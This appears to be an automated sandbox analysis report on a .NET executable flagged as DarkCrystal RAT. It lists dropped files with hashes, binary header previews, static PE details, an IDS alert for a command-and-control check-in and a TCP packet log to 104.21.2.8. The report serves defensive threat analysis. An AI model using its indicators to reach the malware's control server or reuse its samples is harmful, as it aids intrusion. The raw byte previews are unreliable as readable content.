SHA-512:	1D05A9BB5FA990F83BE88361D0CAC286AC8B1A2A010DB2D3C5812FB507663F7C09AE4CADE772502011883A549F5B4E18B20ACF3FE5462901B40ABCC248C98770
Malicious:	false
Preview:	.... ...........................\|...<...............0...........\|.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...T.....I.n.t.e.r.n.a.l.N.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...\.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0....................................<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">.. <securi

C:\Windows\System32\SecurityHealthSystray.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.992483117906977
Encrypted:	false
SSDEEP:	48:6Zp/PtP+M7Jt8Bs3FJsdcV4MKe27EvqBHSOulajfqXSfbNtm:MP1Pc+Vx9MEvk8cjRzNt
MD5:	E55781BDD88E5D81FE002A098B73C255
SHA1:	474E8A33C0CDF4CFEE6E5D578DC2125B1BA9EE6D
SHA-256:	844729050D858803B5C899123992DFADCD116E7CB0C8881FF05FA332A6AE161E
SHA-512:	F5929E935404D75E6C86D73715F7F2917680D865B4F43167D3060F20117DB75536BB38440DB49F0751E73B0FA4E88BA5DD56E0E3C7EDCD46F65BB92E0AB15545
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Xg.............................'... ...@....@.. ....................................@..................................'..S....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......(!..`.............................................................(.....0..!.......r...pre..p.{....(....(....&..&......................0..........ri..p(....&..&......................0..K.......s.......}...........s....s....(....~....-........s.........~....s....(......(....*.BSJB............v4.0.30319......l.......#~..@.......#Strings....4.......#US.0.......#GUID...@... ...#Blob...........WU........%3................................................................

C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1960960
Entropy (8bit):	7.551693494526309
Encrypted:	false
SSDEEP:	49152:JV9LiEUzT6V+qiRGVcqb++v8PlPwvwOfPGZyM1b2DAWsM:JnezTGriRRq3vGNCJfPOy4b
MD5:	6706364C78566C589C6C45217E852B02
SHA1:	E0BC8A67A91D5EA42C072E63F36F4993D9620C2D
SHA-256:	87FA5D0D7912D7A1295E7D585F41797BC5C76A5EA7D9D7B362FCC20472715F9B
SHA-512:	3AED779886DCB08BAC7EDA66CF4B4ADBCF420AC0DFC702EF645F231CC40F0801CD16B35CAFB12DC5B7125C237DF65DF091366C884CE20158447752507E1023F7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...f@Gg................................. ... ....@.. .......................`............@.................................P...K.... .. ....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc... .... ......................@....reloc.......@......................@..B........................H...........l............................................................0..........(.... ........8........E...............N...8....(.... ....~k...{....:....& ....8....(.... ....~k...{....:....& ....8....(.... ....~k...{....9....& ....8y......0..'....... ........8........E....]...........9...*...........8X......... ....~k...{....:....& ....8....8.... ....8....8.... ....~k...{....:....& ....8....~....(5... .... .... ....s....~....(9....... ....~k...{....:B...& ....87.......~

C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Temp\Crashpad\dc45010803acc5

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	ASCII text, with very long lines (795), with no line terminators
Category:	dropped
Size (bytes):	795
Entropy (8bit):	5.891147976184973
Encrypted:	false
SSDEEP:	24:gg7Mfbl4oZBtwndU746pheKwUQw5quDZkSAjie4Kd:gg66atNJ/N5FFnHQd
MD5:	74BC9CFD30289F54E3F79B697CB85B44
SHA1:	36D30B15DDEF201289B09D1B742E2F4CA36B9DE4
SHA-256:	17003AC27095B55F8BE6DB7CAA82B01EF991F549109EA421C14EC012F16C2151
SHA-512:	7ACCEF33B9D37ACC235CD5E632756A6CC9E5A22A6F98226ACAEBE955FFA949CE4893E8D83A5972E3567E21882169CE1FFD73E16B99677F0A6903EAAF087A1CD8
Malicious:	false
Preview:	FDDsmGuMmcxwVBu7uu4bIciBQneQVpAkDDqFOFRAtp6HPApCTaNpAypnfCc9ld06bMsSVptpc3rcgavP8b74cVjPYDkMmSYQy9qCSXrnrhNGGMGEQMAJg6dGmc3RFgCJebngus6luTN4IcIM7f5aSPt2gjazdaiKfDlpjjUhQYZMsi8JUrUjll1PruAKSGHUvCZE0dnXKXK3zgK7lQfwF8j3MV7yjJPJQFbqJ4S0E6ZNb7aLkCjClVOwdf1fgyyBIBmuEdyr7orIjWcO5vNgjNh50pNoCxUPIXEaVqGGO2E6oFMGCnjukRb5dr3ZQJoJUbALRB3PpHRrIlQvcGlYOkp05J7nwr0FN5mMFBzBtUFdAuw2aH6KiP5uwJPHEQc7QMdN9DqbQkp4eL0LXFMpvph791a5vr6d1HMxRi2Xbf37kAPkSEu9DxMlpfNHnvqinMCX8D4yMzNPwjX9mzmq77ZE4lIvVvtqyUUX71mPK5wOj6yGIOeyI9lpx8cX5IdaFhbbO9BuNWgBKLe8xBnGR5hztok9ZPUBcWIBfX1INtkvdjemeek3fWIKAmskYCV8CeiyCccZKe3hUvVJK8f5pbfGN8B3oRtKYmt8AqjBBKsBclzOQiaahZSk9ckDbjv3usIrCXJdYd4esenmJxnG1Tn9UJ9iGfkbYzQtcHM2Z6BDfx1ey84n6pCbEJX2YlX23cG3N3JBluq4RkdgRetIl6ftwzoSuTeyjIJCr8Q4y2CM8IJep1l31OR77WGYO1RRP2UIbbyTNyUs3SvopKm2rk6U1LE

C:\Windows\twain_32\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1960960
Entropy (8bit):	7.551693494526309
Encrypted:	false
SSDEEP:	49152:JV9LiEUzT6V+qiRGVcqb++v8PlPwvwOfPGZyM1b2DAWsM:JnezTGriRRq3vGNCJfPOy4b
MD5:	6706364C78566C589C6C45217E852B02
SHA1:	E0BC8A67A91D5EA42C072E63F36F4993D9620C2D
SHA-256:	87FA5D0D7912D7A1295E7D585F41797BC5C76A5EA7D9D7B362FCC20472715F9B
SHA-512:	3AED779886DCB08BAC7EDA66CF4B4ADBCF420AC0DFC702EF645F231CC40F0801CD16B35CAFB12DC5B7125C237DF65DF091366C884CE20158447752507E1023F7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...f@Gg................................. ... ....@.. .......................`............@.................................P...K.... .. ....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc... .... ......................@....reloc.......@......................@..B........................H...........l............................................................0..........(.... ........8........E...............N...8....(.... ....~k...{....:....& ....8....(.... ....~k...{....:....& ....8....(.... ....~k...{....9....& ....8y......0..'....... ........8........E....]...........9...*...........8X......... ....~k...{....:....& ....8....8.... ....8....8.... ....~k...{....:....& ....8....~....(5... .... .... ....s....~....(9....... ....~k...{....:B...& ....87.......~

C:\Windows\twain_32\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\twain_32\dc45010803acc5

Download File

Process:	C:\Users\user\Desktop\0wdppTE7Op.exe
File Type:	ASCII text, with very long lines (755), with no line terminators
Category:	dropped
Size (bytes):	755
Entropy (8bit):	5.891912898082716
Encrypted:	false
SSDEEP:	12:x3hhjWC7gfm5B1PVE0q2SpQO2vRxM02bAxQvFwoCcXALCKqdUF+xVEqHtc9x4bEo:dhRWCsynVM2SpQOWAPDWGALZF+TEqHCM
MD5:	F9303BCD59CF901968210A33B7E5B13B
SHA1:	3BEBD6DA94C2650BB02999A719D10EDF7C28F107
SHA-256:	9AB9D5BD61E93950C3250E879D4DA1987EE7573D4C66FE06664198E5D3597857
SHA-512:	F4473BCB2A219720796157DD41B15F4CE6284D8CB9450451F1F782FC5F8F06805D854813A92AC53A344735400032B179CE55D9EE4B3578369C8BC7FBA6FB463F
Malicious:	false
Preview:	6FxADODSqD4iEokbsEPZkp59RPWcbVIXHIWp1oHYyZ42aSHZuZJlrMKRJxtx1k0V5hb5S5kE61kKuDj9H6sBLgq48EfD5TgOij630MHzzFp0l9gGOtq52zJZ1g6OZgImUVmLGqI4z2MG0zS8hYzLnlVtahBTP3ZS6CfQXUAhlvF9mCiBN8qAr69t92vjozo6d3JyTClNYRk1fWGX8AFRMZkADwQejb3wGJgs2urLXdmaVHNnwXkotXtDTJuhwGn7XyvWzYfNS44twKo6imsL0PCtZcZsAKYQzoChW1xX2WVyc9RIfy9JYcGIvB6X8wNIfo4HHGkqyUSd4OQaLQNMKO2Wi4vU4aZGJMSyEJBYNSVDJmOhvgLsiA7RvijNUPvX5MUr5bVCPz813yM5pOjYPrhIPBCgjxD8h7I7RhmTLIctCGX7VniGqXIOoLc3YydbvAU6qPoIlPMGOyGInFL5P6RJy3SFFs5WpB7CvbQF9ZfbLBA0FTPTnhMysLHw7iC2UzbM0EXMzF6zb07x3bAwdmtIzITjUdIbWmHVkx9B5DehkWX2NT3fhQZrGSXrux1V6fczsmMGc80ZILhcvbWAkn3GMZPRZRRHLIlF4hJlHwDja9j4u56Sb1uTlWmTX4qKqsO9kchORv3yjTpNzUheV8qUYRdh40OMF32rvkUSXsAq76uRqZdCXMysC3kS8ATbgrsqb8bOAOGn79WbhM1fWLy3EKo29BTXYjJQOD0s7OBJFLuDhJv

\Device\Null

Download File

Process:	C:\Windows\System32\w32tm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.78781006809566
Encrypted:	false
SSDEEP:	3:VLV993J+miJWEoJ8FXzFXv7fjNvo5VZFAXaNvj:Vx993DEUUFXv7fGLZFy8
MD5:	76270493090C2DEB5076715A4DF71760
SHA1:	E558BBF4031026E86D281797D491DF15FAC764CF
SHA-256:	1A49694CECC38813DD0673F9BA98DBDCDCD8D6E9071E0617FADF5B3019D688E7
SHA-512:	9B05EE9017637F9E96D81B6F1E4340BACFC345DC68C86F431534E066F82A960C3573638B447ED1F1009872E95E5BB96DEA58B3727BBA4965BB6C0BAE6A7DC1C7
Malicious:	false
Preview:	Tracking localhost [[::1]:123]..Collecting 2 samples..The current time is 10/12/2024 14:09:04..14:09:04, error: 0x80072746.14:09:09, error: 0x80072746.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.551693494526309
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	0wdppTE7Op.exe
File size:	1'960'960 bytes
MD5:	6706364c78566c589c6c45217e852b02
SHA1:	e0bc8a67a91d5ea42c072e63f36f4993d9620c2d
SHA256:	87fa5d0d7912d7a1295e7d585f41797bc5c76a5ea7d9d7b362fcc20472715f9b
SHA512:	3aed779886dcb08bac7eda66cf4b4adbcf420ac0dfc702ef645f231cc40f0801cd16b35cafb12dc5b7125c237df65df091366c884ce20158447752507e1023f7
SSDEEP:	49152:JV9LiEUzT6V+qiRGVcqb++v8PlPwvwOfPGZyM1b2DAWsM:JnezTGriRRq3vGNCJfPOy4b
TLSH:	CC95BD1665A24F73C3A45B318553023E56A2C7363612FF0B3A1F6093791BBF18A726B7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...f@Gg................................. ... ....@.. .......................`............@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x5e039e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67474066 [Wed Nov 27 15:53:10 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1e0350	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1e2000	0x320	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1e4000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1de3a4	0x1de400	5b7f4d57c73f0923709f373874197154	False	0.7832771456808677	data	7.555073987018635	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x1e2000	0x320	0x400	10a44baa6b63fca2f6945c87c4ae48fb	False	0.3525390625	data	2.6502033736331296	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x1e4000	0xc	0x200	10ed820521375f89526725da4eed15ce	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x1e2058	0x2c8	data			0.46207865168539325

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-10T19:00:32.861403+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	49732	104.21.2.8	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 19:00:31.608938932 CET	49732	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:31.734608889 CET	80	49732	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:31.734781027 CET	49732	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:31.743418932 CET	49732	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:31.862905025 CET	80	49732	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:32.097429037 CET	49732	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:32.223807096 CET	80	49732	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:32.820439100 CET	80	49732	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:32.861402988 CET	49732	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:33.078632116 CET	80	49732	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:33.078660011 CET	80	49732	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:33.078744888 CET	49732	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:33.138022900 CET	49732	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:33.257442951 CET	80	49732	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:33.464736938 CET	80	49732	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:33.465121031 CET	49732	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:33.584852934 CET	80	49732	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:33.938240051 CET	80	49732	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:34.166502953 CET	49732	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:34.573688030 CET	49734	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:34.577647924 CET	49732	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:34.578932047 CET	49735	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:34.693485975 CET	80	49734	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:34.693587065 CET	49734	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:34.693880081 CET	49734	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:34.697662115 CET	80	49732	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:34.698059082 CET	49732	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:34.698195934 CET	80	49735	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:34.698257923 CET	49735	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:34.698431969 CET	49735	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:34.819679022 CET	80	49734	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:34.824091911 CET	80	49735	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:35.047480106 CET	49734	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:35.057224989 CET	49735	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:35.167139053 CET	80	49734	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:35.167272091 CET	80	49734	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:35.177614927 CET	80	49735	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:35.177628994 CET	80	49735	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:35.177639008 CET	80	49735	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:35.786709070 CET	80	49734	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:35.792491913 CET	80	49735	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:35.857820988 CET	49735	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:35.869656086 CET	49734	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:36.250559092 CET	80	49735	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:36.311364889 CET	80	49734	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:36.354016066 CET	49735	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:36.377677917 CET	49734	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:36.755369902 CET	49734	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:36.759924889 CET	49737	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:36.875082970 CET	80	49734	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:36.875164986 CET	49734	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:36.879403114 CET	80	49737	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:36.879498005 CET	49737	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:36.879673958 CET	49737	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:36.998872042 CET	80	49737	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:37.229249954 CET	49737	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:37.348956108 CET	80	49737	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:37.348984957 CET	80	49737	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:37.349001884 CET	80	49737	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:38.034523964 CET	80	49737	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:38.166631937 CET	49737	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:38.363261938 CET	80	49737	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:38.463395119 CET	49737	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:39.618738890 CET	49739	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:39.738260984 CET	80	49739	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:39.738439083 CET	49739	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:39.738601923 CET	49739	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:39.858105898 CET	80	49739	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:40.094584942 CET	49739	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:40.215425014 CET	80	49739	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:40.215444088 CET	80	49739	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:40.215490103 CET	80	49739	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:40.253097057 CET	49737	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:40.807430983 CET	49735	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:40.823677063 CET	80	49739	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:40.869683981 CET	49739	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:41.152836084 CET	80	49739	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:41.276026964 CET	49739	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:41.331084013 CET	49739	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:41.331089973 CET	49740	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:41.451961994 CET	80	49740	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:41.452127934 CET	80	49739	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:41.452172041 CET	49740	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:41.452271938 CET	49739	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:41.452280045 CET	49740	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:41.501794100 CET	49741	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:41.578473091 CET	80	49740	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:41.628412008 CET	80	49741	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:41.628612995 CET	49741	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:41.628906965 CET	49741	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:41.753087997 CET	80	49741	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:41.816164970 CET	49740	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:41.937668085 CET	80	49740	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:41.937686920 CET	80	49740	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:41.981077909 CET	49741	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:42.107527018 CET	80	49741	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:42.107553005 CET	80	49741	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:42.107563019 CET	80	49741	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:42.555075884 CET	80	49740	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:42.666814089 CET	49740	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:42.720081091 CET	80	49741	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:42.775876045 CET	49741	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:42.974268913 CET	80	49741	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:43.062814951 CET	49741	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:43.130800962 CET	49741	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:43.131701946 CET	49742	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:43.251287937 CET	80	49742	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:43.251367092 CET	49742	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:43.251519918 CET	49742	80	192.168.2.4	104.21.2.8
